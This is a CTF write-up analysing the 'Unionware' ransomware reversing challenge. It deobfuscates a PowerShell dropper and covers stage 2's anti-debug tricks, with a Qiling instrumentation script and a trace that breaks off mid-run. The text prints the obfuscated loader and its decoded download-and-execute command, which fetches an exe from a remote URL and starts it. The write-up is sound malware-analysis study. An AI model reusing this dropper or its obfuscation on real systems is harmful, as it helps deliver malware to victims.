Unionware Writeup Part A [UnionCTF 2021]
2021/10/10
Introduction #
In early 2021, I started playing Capture the Flag challenges (CTFs), as I was interested in delving deeper into computer security. The very first CTF I played was UnionCTF 2021 in February 2021. This was billed as a medium-hard CTF (so in retrospect, this may not have been the best one to get started with as a new player), but I learned a lot, and have continued to play more CTFs since then.
I worked on 1 challenge, Unionware, the entire duration of the CTF. This was a really fun 3-stage ransomware reversing challenge that I unfortunately was not able to solve during the CTF. However, I wrote down a lot of notes when trying to solve the challenge, and I’ve been gradually cleaning up those notes to put them together into this writeup.
This challenge covers a number of topics - malware analysis and Windows systems programming - that I was pretty unfamilar with at the time, so this was a great opportunity to learn. During the CTF, I also learned and used a binary instrumentation and emulation tool, Qiling, which was really helpful in doing dynamic analysis for this challenge. Because I was learning along the way, I’ve tried to write this a bit more on the verbose and descriptive side.
This is part A of the full writeup, and mostly covers what I solved during the CTF - the first 2 out of 3 stages of this challenge. Part B is coming (whenever I have more time).
Thanks to my team, xtal, for making my first CTF a great experience. Thanks as well to my teammate, holz, for walking me through some of the anti-debug mechanisms used in the stage 2 binary for this challenge!
Challenge overview #
The challenge description:
My mom ran something on her computer and encrypted some important files!
Can you recover them for me?
DISCLAIMER: This is functioning malware, make sure to exercise care and run this in a VM.
Author: xenocidewiki
There are 2 files included with the challenge:
calculator.ps1
. This is a Powershell script.homework.txt.unionware
. This is a file full of binary data, and seems to be the data encrypted by the ransomware.
Right away, Windows Defender flags calculator.ps1
as malicious and automatically removes it 😇.
Tools and files #
I used the following tools for this challenge:
-
Windows Sandbox. This is a easy way to run applications in a sandbox if you have access to Windows 10 Pro / Enterprise / Education edition.
- It does have some flaws in that a) the sandbox machine has access to your local network by default, and b) the sandbox is not persistent in any way, and you can’t take snapshots. I didn’t have any Windows VMs handy on the machine that I played this CTF on, so I just used Windows Sandbox at the time, since it was quick and easy to spin up an isolated environment, and since this isn’t “real” malware but rather a challenge designed for a CTF. However, for future malware analysis I will be setting up a real, isolated VM lab environment.
- Cutter, a free and open source binary analysis tool. It provides disassembly and decompilation capabilities.
- Qiling, a Python-based binary instrumentation framework. I’ll be talking about this in more detail later on in the writeup.
The infrastructure for UnionCTF is down now, and this challenge does (spoiler alert) involve downloading some additional files from a remote server. Therefore, I’ve uploaded both the original challenge files and the additional downloaded files to a Github repository, here: https://github.com/cxiao/unionware-writeup. (As the challenge description says, please be cautious with these files as this is malware.)
Stage 1: Deobfuscating some Powershell #
Let’s look at the contents of calculator.ps1
(this is all one very long line, so scroll right to view more)
-joIN ( '105%102n40%36n69M78%86M58:85%115a101_114M68n111:109u97C105n110C32n45M101a113C32n34:72O77O82C67u34O41u32u123a13:10_32H32n32M32:40u78_101H119n45u79%98%106H101O99n116C32H39:78H101n116C46M87H101u98O67_108M105H101M110M116C39n41M46M68n111u119u110O108n111M97n100M70n105H108O101u40%34:104n116u116n112a115M58u47C47M115a116n111C114M97n103a101M46a103C111a111u103O108C101%97a112u105_115n46_99M111n109_47M101M117n45:117C110_105H111H110%99H116_102O45u50u48C50u49O47u108n110n69M76:75:78n100O111H105a101:46n101_120M101n34M44O32C34C36_69n78M86_58a116n101u109O112H92H108_110a69_76%75%78a100a111:105u101_46:101n120%101:34C41O13M10a32u32u32u32M115n116M97n114u116%32n36O69M78u86M58_116:101n109a112:92a108O110M69a76M75O78C100a111:105u101:46M101u120C101%13:10n125' -spLIT'a'-SPlIT'n'-SPLit ':'-spLiT 'u'-sPLIT '%' -SpLiT 'O' -sPLiT 'H'-SpLit'C' -SPLit'M' -spLIt '_' |%{ ( [ChAr][int]$_)} )|. ((gV '*mdR*').naME[3,11,2]-jOiN'')
Let’s reformat this into something more readable. (Note that Powershell is case-insensitive, so I’ve also normalized the capitalization here.)
-join (
'105%102n40%36n69M78%86M58:85%115a101_114M68n111:109u97C105n110C32n45M101a113C32n34:72O77O82C67u34O41u32u123a13:10_32H32n32M32:40u78_101H119n45u79%98%106H101O99n116C32H39:78H101n116C46M87H101u98O67_108M105H101M110M116C39n41M46M68n111u119u110O108n111M97n100M70n105H108O101u40%34:104n116u116n112a115M58u47C47M115a116n111C114M97n103a101M46a103C111a111u103O108C101%97a112u105_115n46_99M111n109_47M101M117n45:117C110_105H111H110%99H116_102O45u50u48C50u49O47u108n110n69M76:75:78n100O111H105a101:46n101_120M101n34M44O32C34C36_69n78M86_58a116n101u109O112H92H108_110a69_76%75%78a100a111:105u101_46:101n120%101:34C41O13M10a32u32u32u32M115n116M97n114u116%32n36O69M78u86M58_116:101n109a112:92a108O110M69a76M75O78C100a111:105u101:46M101u120C101%13:10n125'
-split 'a' -split 'n' -split ':' -split 'u' -split '%' -split 'O' -split 'H' -split 'C' -split 'M' -split '_'
| %
{
( [char][int]$_)
}
)
|.((gv '*mdR*').name[3,11,2] -join '')
)
Let’s break this down:
join
operator joins strings, e.g.join ("Hello" , "World.", "This" , "is" , "a" , "beautiful" , "day.")
split
operator splits strings using the provided delimiter, e.g.'Chocolate-Vanilla-Strawberry-Blueberry' -split '(-)', 3
|
is a pipe.[char][int]
is a cast.$_
is the current variable in the pipeline.
By default, Powershell also provides a number of built-in aliases for many commands, all of which you can view via the Get-Alias command.
Some of these aliases are used in the output above:
%
is an alias ofForEach-Object
gv
is an alias ofGet-Variable
In full, with aliases removed:
-join (
'105%102n40%36n69M78%86M58:85%115a101_114M68n111:109u97C105n110C32n45M101a113C32n34:72O77O82C67u34O41u32u123a13:10_32H32n32M32:40u78_101H119n45u79%98%106H101O99n116C32H39:78H101n116C46M87H101u98O67_108M105H101M110M116C39n41M46M68n111u119u110O108n111M97n100M70n105H108O101u40%34:104n116u116n112a115M58u47C47M115a116n111C114M97n103a101M46a103C111a111u103O108C101%97a112u105_115n46_99M111n109_47M101M117n45:117C110_105H111H110%99H116_102O45u50u48C50u49O47u108n110n69M76:75:78n100O111H105a101:46n101_120M101n34M44O32C34C36_69n78M86_58a116n101u109O112H92H108_110a69_76%75%78a100a111:105u101_46:101n120%101:34C41O13M10a32u32u32u32M115n116M97n114u116%32n36O69M78u86M58_116:101n109a112:92a108O110M69a76M75O78C100a111:105u101:46M101u120C101%13:10n125'
-split 'a' -split 'n' -split ':' -split 'u' -split '%' -split 'O' -split 'H' -split 'C' -split 'M' -split '_'
| %
{
( [char][int]$_)
}
)
|.((gv '*mdR*').name[3,11,2] -join '')
)
This is still quite obfuscated, but it seems like we are unpacking the data in the string, converting to a command string, and then invoking that command string in some way.
Can we deobfuscate this easily? There are tools such as PSDecode which will help us do this, but we can also do it by hand with the help of Powershell ISE, which will allow us to interactively examine the script and see the values of intermediate variables as we run portions of the script.
Let’s just examine the first part of the pipeline, and see what the result is after the string is split:
$splitdata = '105%102n40%36n69M78%86M58:85%115a101_114M68n111:109u97C105n110C32n45M101a113C32n34:72O77O82C67u34O41u32u123a13:10_32H32n32M32:40u78_101H119n45u79%98%106H101O99n116C32H39:78H101n116C46M87H101u98O67_108M105H101M110M116C39n41M46M68n111u119u110O108n111M97n100M70n105H108O101u40%34:104n116u116n112a115M58u47C47M115a116n111C114M97n103a101M46a103C111a111u103O108C101%97a112u105_115n46_99M111n109_47M101M117n45:117C110_105H111H110%99H116_102O45u50u48C50u49O47u108n110n69M76:75:78n100O111H105a101:46n101_120M101n34M44O32C34C36_69n78M86_58a116n101u109O112H92H108_110a69_76%75%78a100a111:105u101_46:101n120%101:34C41O13M10a32u32u32u32M115n116M97n114u116%32n36O69M78u86M58_116:101n109a112:92a108O110M69a76M75O78C100a111:105u101:46M101u120C101%13:10n125' -spLIT'a' -SPlIT'n' -SPLit ':' -spLiT 'u' -sPLIT '%' -SpLiT 'O' -sPLiT 'H' -SpLit'C' -SPLit'M' -spLIt '_'
$splitdata | ConvertTo-Json -Compress
["105","102","40","36","69","78","86","58","85","115","101","114","68","111","109","97","105","110","32","45","101","113","32","34","72","77","82","67","34","41","32","123","13","10","32","32
","32","32","40","78","101","119","45","79","98","106","101","99","116","32","39","78","101","116","46","87","101","98","67","108","105","101","110","116","39","41","46","68","111","119","110
","108","111","97","100","70","105","108","101","40","34","104","116","116","112","115","58","47","47","115","116","111","114","97","103","101","46","103","111","111","103","108","101","97","
112","105","115","46","99","111","109","47","101","117","45","117","110","105","111","110","99","116","102","45","50","48","50","49","47","108","110","69","76","75","78","100","111","105","10
1","46","101","120","101","34","44","32","34","36","69","78","86","58","116","101","109","112","92","108","110","69","76","75","78","100","111","105","101","46","101","120","101","34","41","1
3","10","32","32","32","32","115","116","97","114","116","32","36","69","78","86","58","116","101","109","112","92","108","110","69","76","75","78","100","111","105","101","46","101","120","1
01","13","10","125"]
These numbers are all values within ASCII range, so the [ChAr][int]$_
in the next part of the pipeline should be able to just resolve each of these values to a character, which are then joined together to a string. Putting our intermediate value into the next part of the pipeline:
($splitdata | ForEach-Object {([ChAr][int]$_)}) -join ''
The resulting string is another Powershell code snippet, which downloads an executable and runs it! This is the stage 2 of this malware.
if($ENV:UserDomain -eq "HMRC") {
(New-Object 'Net.WebClient').DownloadFile("<https://storage.googleapis.com/eu-unionctf-2021/lnELKNdoie.exe>", "$ENV:temp\\lnELKNdoie.exe")
start $ENV:temp\\lnELKNdoie.exe
}
The last part of the pipeline, starting with Get-Variable
, will put that code into Invoke-Expression
(alias iex
) and run it. The alias is constructed by taking letters from the name of a built-in variable, MaximumDriveCount
. iex
is then run via using the
dot sourcing operator, and the contents of the script above are piped to it.
PS> Get-Variable '*mdR*'
Name Value
---- -----
MaximumDriveCount 4096
PS> ((Get-Variable '*mdR*').name[3, 11, 2]) -join''
iex
# An example of using the dot sourcing operator to run Invoke-Expression,
# and piping a script to Invoke-Expression
PS> "Write-Output 'Hello World'" | .("iex")
Hello World
Note the conditional in the piped script which checks the value of the user domain environment variable before downloading and running the stage 2 executable - this ensures that even if you do just run the Powershell script, nothing will actually happen (unless your Windows domain happens to be HMRC
).
We can now go download the stage 2 executable, lnELKNdoie.exe
, ourselves from the URL provided in the script. Of course, since the challenge infrastructure is down, we can’t actually get it from the provided URL anymore; if you’re following along now, you can still grab the executable from
https://github.com/cxiao/unionware-writeup.
Stage 2: Deobfuscating some DLL imports #
Initial analysis #
We can start by just running the downloaded stage 2 executable inside our VM. We’ll need MSVCP140.dll
and VCRUNTIME140.dll
from the Microsoft Visual C/C++ runtime libraries; to install these, download the
Visual C++ Redistributable installer. Note that we’ll need the x86_32 versions as this is a 32-bit executable.
However, just running the program and attaching to it with Process Monitor doesn’t seem to reveal anything interesting. In Process Monitor, all we see is a bunch of process setup and teardown boilerplate before the program exists - no interesting file reads/writes or system calls.
If we take a look at the program in Cutter, we do notice that many functions have calls to
LoadLibraryA
and
GetProcAddress
. The program is loading in DLLs and importing functions from them. However, there are no obvious function name or library name strings inside the binary that it’s doing this with. We can see from the disassembly around these calls that there’s some obfuscation going on involving the arguments passed into these functions - moving some data into buffers and XORing it against some other data before finally passing the argument in.
There are >10 different “unpacker” functions which do this. I thought, at this point, that it would take a while to analyze these statically, so I decided to try some dynamic analysis. Can we view the values passed into the LoadLibraryA
and GetProcAddress
calls at runtime and see which functions the program is trying to import?
Attempting to debug + running into anti-debug #
The first obvious deobfuscation + dynamic lib import is in the function at 0x00403af0
(.text + 2af0
). We can try breaking at the LoadLibraryA
and GetProcAddress
calls in that function with a debugger (at the time, I used x64dbg), but right away we notice that the program is crashing when we try to debug.
There may be some anti-debug, anti-VM, or anti-emulation techniques that the program implements here, i.e. the program will behave differently when a debugger is attached, when running in a VM, or when running under emulation, complicating dynamic analysis.
Check Point Research’s Anti-Debug Tricks site is a handy reference which summarizes and explains common anti-debug techniques in one place. Reading through the program disassembly again, we can see a number of techniques used:
-
A bunch of
int3
(software breakpoint) instructions paired with exception handlers, which will change the program control flow depending on whether a debugger is attached. -
A bunch of blocks which measure elapsed time using 2 calls to the
rdtsc
instruction, which obtains the processor’s timestamp and changes the control flow based on the result; attaching a debugger prolongs the execution time significantly.
0x00402157 rdtsc
0x00402159 mov esi, eax
0x0040215b mov edi, edx
0x0040215d mov ecx, eax
0x0040215f mov eax, ecx
0x00402161 inc eax
0x00402162 dec eax
0x00402163 nop
0x00402164 rdtsc
0x00402166 sub eax, esi
0x00402168 sbb edx, edi
0x0040216a test edx, edx
0x0040216c ja 0x40214f
- A bunch of
in
,out
instructions, which are instructions which attempt to access physical I/O devices. This is an anti-VM technique rather than anti-debug; these instructions will behave diferently on a physical machine vs. a VM. These are privileged instructions, and usually we trigger an exception with typeEXCEPTION_PRIV_INSTRUCTION
when we attempt to run these from an unprivileged user-mode program. VM software will often have special handlers set up for these such that the behaviour is different from that of a physical machine.
A small detour about stack cookies
I originally thought that the entire function at
0x00406fd9
(decompiled code shown below), which gets called right after program entry (via another function which wraps it) was also an anti-debug mechanism. It turns out after some research that this is actually where the stack cookie (i.e. stack canary) is generated. This supports the buffer overrun protection that’s turned on by default when compiling with MSVC.A unique, random cookie value is generated per thread and per process (see the calls to
GetCurrentThreadId
andGetCurrentProcessId
in the decompiled code below). The cookie value is then placed on the stack right before the saved return address, and a check is done at function exit to determine whether the cookie has been mangled (by somebody attemping to overwrite the return address and redirect program execution); if it has, the program aborts. See here and the documentation for__security_init_cookie
for more detail on the cookie generation. (It’s likely that the decompiled code below is just the implementation of__security_init_cookie
in the MSVC runtime.)uint32_t stack_cookie_init_0x00406fd9(void) { uint32_t uVar1; uint32_t lpPerformanceCount; int32_t var_10h; uint32_t lpSystemTimeAsFileTime; int32_t var_8h; int32_t var_4h; lpSystemTimeAsFileTime = 0; var_8h = 0; (*_GetSystemTimeAsFileTime)(&lpSystemTimeAsFileTime); var_4h = var_8h ^ lpSystemTimeAsFileTime; uVar1 = (*_GetCurrentThreadId)(); var_4h = var_4h ^ uVar1; uVar1 = (*_GetCurrentProcessId)(); var_4h = var_4h ^ uVar1; (*_QueryPerformanceCounter)(&lpPerformanceCount); return var_10h ^ lpPerformanceCount ^ var_4h ^ (uint32_t)&var_4h; }
There are quite a number of occurrences of the anti-debug checks scattered throughout the program - we could try to patch all of them out. However, at this point I decided to try to run the program in an emulator which allows us to instrument the program as it is running, to try to get an idea of what the “normal” control flow of the program is, and to patch out only the occurrences of the anti-debug checks that block the execution in the emulator.
Instrumentation using Qiling #
After some furious 3am googling some research, I decided to try instrumenting this binary with
Qiling Framework. This is a Python library which provides an emulator inside which we can run a binary, and which also provides instrumentation capabilities for the binary being run under it. Using a Python script, we can view the disassembly along the execution path of the program, as well as hook into syscalls and system libraries, and display the values passed to them. This will allow us to inspect the values being passed in to the LoadLibraryA
and GetProcAddress
calls.
Installing Qiling and setting up for instrumenting Windows binaries
Setting up Qiling for our analysis is quite simple:
- Qiling can be installed easily via pip:
pip3 install qiling
- To instrument Windows binaries, Qiling does rely on having copies of Windows system libraries. Because of copyright restrictions, Qiling cannot distribute them; you must copy those libraries from a Windows machine that you have access to. Qiling provides instructions on how to do this, as well as a script which automates this. The script can be found at
examples/scripts/dllscollector.bat
; running it on a Windows machine will copy some DLLs from your system folders to a folder that will serve as the root filesystem of your emulated system.
- However, it is just an example script, and it won’t necessarily copy all the ones the instrumented executable might need. For my purposes, I just manually copied all the DLLs in
%WINDIR%\System32
and%WINDIR%\SysWOW64
.
To get started, I found this great tutorial by Abdallah Elshinbary which shows us the basics of using Qiling to disassemble the instrumented binary:
from qiling import *
from qiling.const import *
from capstone import *
def hook_callback(ql, address, size):
# read current instruction bytes
data = ql.mem.read(address, size)
# initialize Capstone
md = Cs(CS_ARCH_X86, CS_MODE_32)
# disassemble current instruction
for i in md.disasm(data, address):
print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))
ql = Qiling(argv=[".\\lnELKNdoie.exe"], rootfs="./qiling/examples/rootfs/x8664_windows")
ql.hook_code(hook_callback)
ql.run()
If we run this script, we can see the disassembled instructions and calls to imported functions as the program runs, including the instructions at the point where we fail an anti-debug check and exit the program:
Initial disassembly from Qiling
[=] Initiate stack address at 0xfffdd000
[=] Loading .\\lnELKNdoie.exe to 0x400000
[=] PE entry point at 0x406c23
[=] TEB addr is 0x6000
[=] PEB addr is 0x6044
[=] Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ntdll.dll to 0x10000000
[!] Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ntdll.dll:
[!] - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!] - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=] Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ntdll.dll
[=] Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\kernel32.dll to 0x101f6000
[=] Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\kernel32.dll
[=] Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\msvcp140.dll to 0x102b3000
[=] Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\msvcp140.dll
[=] Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\vcruntime140.dll to 0x10345000
[=] Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\vcruntime140.dll
[=] Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll to 0x1035e000
[!] Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll:
[!] - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!] - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=] Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll
[=] Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll to 0x10362000
[!] Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll:
[!] - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!] - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=] Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll
[=] Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll to 0x10366000
[!] Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll:
[!] - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!] - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=] Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll
[=] Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll to 0x10369000
[!] Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll:
[!] - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!] - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=] Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll
[=] Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll to 0x1036e000
[!] Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll:
[!] - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!] - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=] Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll
[=] Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll to 0x10372000
[!] Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll:
[!] - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!] - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=] Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll
[*] 0x00406c23: call 0x407026
[*] 0x00407026: mov ecx, dword ptr [0x40a004]
[*] 0x0040702c: push esi
[*] 0x0040702d: push edi
[*] 0x0040702e: mov edi, 0xbb40e64e
[*] 0x00407033: mov esi, 0xffff0000
[*] 0x00407038: cmp ecx, edi
[*] 0x0040703a: je 0x407040
[*] 0x0040703c: test esi, ecx
[*] 0x0040703e: jne 0x407066
[*] 0x00407040: call 0x406fd9
[*] 0x00406fd9: push ebp
[*] 0x00406fda: mov ebp, esp
[*] 0x00406fdc: sub esp, 0x14
[*] 0x00406fdf: and dword ptr [ebp - 0xc], 0
[*] 0x00406fe3: lea eax, [ebp - 0xc]
[*] 0x00406fe6: and dword ptr [ebp - 8], 0
[*] 0x00406fea: push eax
[*] 0x00406feb: call dword ptr [0x408024]
[=] GetSystemTimeAsFileTime(lpSystemTimeAsFileTime = 0xffffcfe0)
[*] 0x1020db80: dec eax
[*] 0x00406ff1: mov eax, dword ptr [ebp - 8]
[*] 0x00406ff4: xor eax, dword ptr [ebp - 0xc]
[*] 0x00406ff7: mov dword ptr [ebp - 4], eax
[*] 0x00406ffa: call dword ptr [0x408020]
[=] GetCurrentThreadId() = 0x0
[*] 0x1020b550: dec eax
[*] 0x00407000: xor dword ptr [ebp - 4], eax
[*] 0x00407003: call dword ptr [0x40801c]
[=] GetCurrentProcessId() = 0x7cc
[*] 0x1021a890: jmp dword ptr [0x5d33a]
[*] 0x00407009: xor dword ptr [ebp - 4], eax
[*] 0x0040700c: lea eax, [ebp - 0x14]
[*] 0x0040700f: push eax
[*] 0x00407010: call dword ptr [0x408018]
[=] QueryPerformanceCounter(lpPerformanceCount = 0xffffcfd8) = 0x0
[*] 0x1020bc10: dec eax
[*] 0x00407016: mov eax, dword ptr [ebp - 0x10]
[*] 0x00407019: lea ecx, [ebp - 4]
[*] 0x0040701c: xor eax, dword ptr [ebp - 0x14]
[*] 0x0040701f: xor eax, dword ptr [ebp - 4]
[*] 0x00407022: xor eax, ecx
[*] 0x00407024: leave
[*] 0x00407025: ret
[*] 0x00407045: mov ecx, eax
[*] 0x00407047: cmp ecx, edi
[*] 0x00407049: jne 0x407052
[*] 0x00407052: test esi, ecx
[*] 0x00407054: jne 0x407060
[*] 0x00407060: mov dword ptr [0x40a004], ecx
[*] 0x00407066: not ecx
[*] 0x00407068: pop edi
[*] 0x00407069: mov dword ptr [0x40a000], ecx
[*] 0x0040706f: pop esi
[*] 0x00407070: ret
[*] 0x00406c28: jmp 0x406aa1
[*] 0x00406aa1: push 0x14
[*] 0x00406aa3: push 0x408880
[*] 0x00406aa8: call 0x407320
[*] 0x00407320: push 0x407378
[*] 0x00407325: push dword ptr fs:[0]
[*] 0x0040732b: mov eax, dword ptr [esp + 0x10]
[*] 0x0040732f: mov dword ptr [esp + 0x10], ebp
[*] 0x00407333: lea ebp, [esp + 0x10]
[*] 0x00407337: sub esp, eax
[*] 0x00407339: push ebx
[*] 0x0040733a: push esi
[*] 0x0040733b: push edi
[*] 0x0040733c: mov eax, dword ptr [0x40a004]
[*] 0x00407341: xor dword ptr [ebp - 4], eax
[*] 0x00407344: xor eax, ebp
[*] 0x00407346: push eax
[*] 0x00407347: mov dword ptr [ebp - 0x18], esp
[*] 0x0040734a: push dword ptr [ebp - 8]
[*] 0x0040734d: mov eax, dword ptr [ebp - 4]
[*] 0x00407350: mov dword ptr [ebp - 4], 0xfffffffe
[*] 0x00407357: mov dword ptr [ebp - 8], eax
[*] 0x0040735a: lea eax, [ebp - 0x10]
[*] 0x0040735d: mov dword ptr fs:[0], eax
[*] 0x00407362: bnd ret
[*] 0x00406aad: push 1
[*] 0x00406aaf: call 0x406dfe
[*] 0x00406dfe: push ebp
[*] 0x00406dff: mov ebp, esp
[*] 0x00406e01: cmp dword ptr [ebp + 8], 0
[*] 0x00406e05: jne 0x406e0e
[*] 0x00406e0e: call 0x4073a7
[*] 0x004073a7: push ebp
[*] 0x004073a8: mov ebp, esp
[*] 0x004073aa: and dword ptr [0x40a3f0], 0
[*] 0x004073b1: sub esp, 0x24
[*] 0x004073b4: or dword ptr [0x40a010], 1
[*] 0x004073bb: push 0xa
[*] 0x004073bd: call 0x407649
[*] 0x00407649: jmp dword ptr [0x408014]
[=] IsProcessorFeaturePresent(ProcessorFeature = 0xa) = 0x1
[*] 0x10213b40: dec eax
[*] 0x004073c2: test eax, eax
[*] 0x004073c4: je 0x407573
[*] 0x004073ca: and dword ptr [ebp - 0x10], 0
[*] 0x004073ce: xor eax, eax
[*] 0x004073d0: push ebx
[*] 0x004073d1: push esi
[*] 0x004073d2: push edi
[*] 0x004073d3: xor ecx, ecx
[*] 0x004073d5: lea edi, [ebp - 0x24]
[*] 0x004073d8: push ebx
[*] 0x004073d9: cpuid
[*] 0x004073db: mov esi, ebx
[*] 0x004073dd: pop ebx
[*] 0x004073de: mov dword ptr [edi], eax
[*] 0x004073e0: mov dword ptr [edi + 4], esi
[*] 0x004073e3: mov dword ptr [edi + 8], ecx
[*] 0x004073e6: xor ecx, ecx
[*] 0x004073e8: mov dword ptr [edi + 0xc], edx
[*] 0x004073eb: mov eax, dword ptr [ebp - 0x24]
[*] 0x004073ee: mov edi, dword ptr [ebp - 0x1c]
[*] 0x004073f1: mov dword ptr [ebp - 0xc], eax
[*] 0x004073f4: xor edi, 0x6c65746e
[*] 0x004073fa: mov eax, dword ptr [ebp - 0x18]
[*] 0x004073fd: xor eax, 0x49656e69
[*] 0x00407402: mov dword ptr [ebp - 8], eax
[*] 0x00407405: mov eax, dword ptr [ebp - 0x20]
[*] 0x00407408: xor eax, 0x756e6547
[*] 0x0040740d: mov dword ptr [ebp - 4], eax
[*] 0x00407410: xor eax, eax
[*] 0x00407412: inc eax
[*] 0x00407413: push ebx
[*] 0x00407414: cpuid
[*] 0x00407416: mov esi, ebx
[*] 0x00407418: pop ebx
[*] 0x00407419: lea ebx, [ebp - 0x24]
[*] 0x0040741c: mov dword ptr [ebx], eax
[*] 0x0040741e: mov eax, dword ptr [ebp - 4]
[*] 0x00407421: mov dword ptr [ebx + 4], esi
[*] 0x00407424: or eax, edi
[*] 0x00407426: or eax, dword ptr [ebp - 8]
[*] 0x00407429: mov dword ptr [ebx + 8], ecx
[*] 0x0040742c: mov dword ptr [ebx + 0xc], edx
[*] 0x0040742f: jne 0x407474
[*] 0x00407474: mov edi, dword ptr [0x40a3f4]
[*] 0x0040747a: mov ecx, dword ptr [ebp - 0x1c]
[*] 0x0040747d: push 7
[*] 0x0040747f: pop eax
[*] 0x00407480: mov dword ptr [ebp - 4], ecx
[*] 0x00407483: cmp dword ptr [ebp - 0xc], eax
[*] 0x00407486: jl 0x4074b7
[*] 0x004074b7: mov ebx, dword ptr [ebp - 0x10]
[*] 0x004074ba: mov eax, dword ptr [0x40a010]
[*] 0x004074bf: or eax, 2
[*] 0x004074c2: mov dword ptr [0x40a3f0], 1
[*] 0x004074cc: mov dword ptr [0x40a010], eax
[*] 0x004074d1: test ecx, 0x100000
[*] 0x004074d7: je 0x407570
[*] 0x004074dd: or eax, 4
[*] 0x004074e0: mov dword ptr [0x40a3f0], 2
[*] 0x004074ea: mov dword ptr [0x40a010], eax
[*] 0x004074ef: test ecx, 0x8000000
[*] 0x004074f5: je 0x407570
[*] 0x00407570: pop edi
[*] 0x00407571: pop esi
[*] 0x00407572: pop ebx
[*] 0x00407573: xor eax, eax
[*] 0x00407575: leave
[*] 0x00407576: ret
[*] 0x00406e13: call 0x40708a
[*] 0x0040708a: mov al, 1
[*] 0x0040708c: ret
[*] 0x00406e18: test al, al
[*] 0x00406e1a: jne 0x406e20
[*] 0x00406e20: call 0x40708a
[*] 0x0040708a: mov al, 1
[*] 0x0040708c: ret
[*] 0x00406e25: test al, al
[*] 0x00406e27: jne 0x406e33
[*] 0x00406e33: mov al, 1
[*] 0x00406e35: pop ebp
[*] 0x00406e36: ret
[*] 0x00406ab4: pop ecx
[*] 0x00406ab5: test al, al
[*] 0x00406ab7: je 0x406c0d
[*] 0x00406abd: xor bl, bl
[*] 0x00406abf: mov byte ptr [ebp - 0x19], bl
[*] 0x00406ac2: and dword ptr [ebp - 4], 0
[*] 0x00406ac6: call 0x406dcc
[*] 0x00406dcc: push esi
[*] 0x00406dcd: call 0x407577
[*] 0x00407577: xor eax, eax
[*] 0x00407579: cmp dword ptr [0x40a014], eax
[*] 0x0040757f: setne al
[*] 0x00407582: ret
[*] 0x00406dd2: test eax, eax
[*] 0x00406dd4: je 0x406df6
[*] 0x00406dd6: mov eax, dword ptr fs:[0x18]
[*] 0x00406ddc: mov esi, 0x40a3b0
[*] 0x00406de1: mov edx, dword ptr [eax + 4]
[*] 0x00406de4: jmp 0x406dea
[*] 0x00406dea: xor eax, eax
[*] 0x00406dec: mov ecx, edx
[*] 0x00406dee: lock cmpxchg dword ptr [esi], ecx
[*] 0x00406df2: test eax, eax
[*] 0x00406df4: jne 0x406de6
[*] 0x00406df6: xor al, al
[*] 0x00406df8: pop esi
[*] 0x00406df9: ret
[*] 0x00406acb: mov byte ptr [ebp - 0x24], al
[*] 0x00406ace: mov eax, dword ptr [0x40a3ac]
[*] 0x00406ad3: xor ecx, ecx
